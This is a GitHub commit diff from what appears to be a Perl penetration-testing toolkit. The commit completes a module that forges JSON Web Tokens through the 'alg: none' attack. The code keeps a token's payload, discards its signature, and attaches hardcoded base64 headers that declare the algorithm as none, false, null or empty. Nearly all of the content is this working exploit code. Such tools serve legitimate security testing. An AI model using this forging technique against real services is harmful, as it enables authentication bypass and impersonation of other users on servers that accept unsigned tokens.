Skip to content

Commit

Permalink
complete exploit to none attack
Browse files Browse the repository at this point in the history
  • Loading branch information
htrgouvea committed Dec 4, 2024
1 parent f62dc12 commit 2efcf37
Showing 1 changed file with 22 additions and 7 deletions.
29 changes: 22 additions & 7 deletions lib/Spellbook/Exploit/None_Attack.pm
Original file line number Diff line number Diff line change
@@ -1,25 +1,40 @@
package Spellbook::Exploit::None_Attack {
use strict;
use warnings;
sub new {

sub new {
my ($self, $parameters) = @_;
my ($help, @result);
my ($help, $token, $attack, @result);

Getopt::Long::GetOptionsFromArray (
$parameters,
"h|help" => \$help
"h|help" => \$help,
"token=s" => \$token,
"attack=s" => \$attack
);

if (1) {
if ($token) {
my $attacks = {
none => "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0",
false => "eyJhbGciOmZhbHNlLCJ0eXAiOiJKV1QifQ",
null => "eyJhbGciOm51bGwsInR5cCI6IkpXVCJ9",
empty => "eyJhbGciOiIiLCJ0eXAiOiJKV1QifQ"
};

my ($header_b64, $payload_b64, $signature_b64) = split(/\./x, $token);

push @result, $attacks -> {$attack} . "." . $payload_b64 . ".";

return @result;
}
}

if ($help) {
return "
\rExploit::None_Attack
\r=====================
\r-h, --help See this menu\n\n";
\r-h, --help See this menu
\r--token Define a token to perform attacks
\r--attack Options avaiable: none, false, null and empty\n\n";
}

return 0;
Expand Down

0 comments on commit 2efcf37

Please sign in to comment.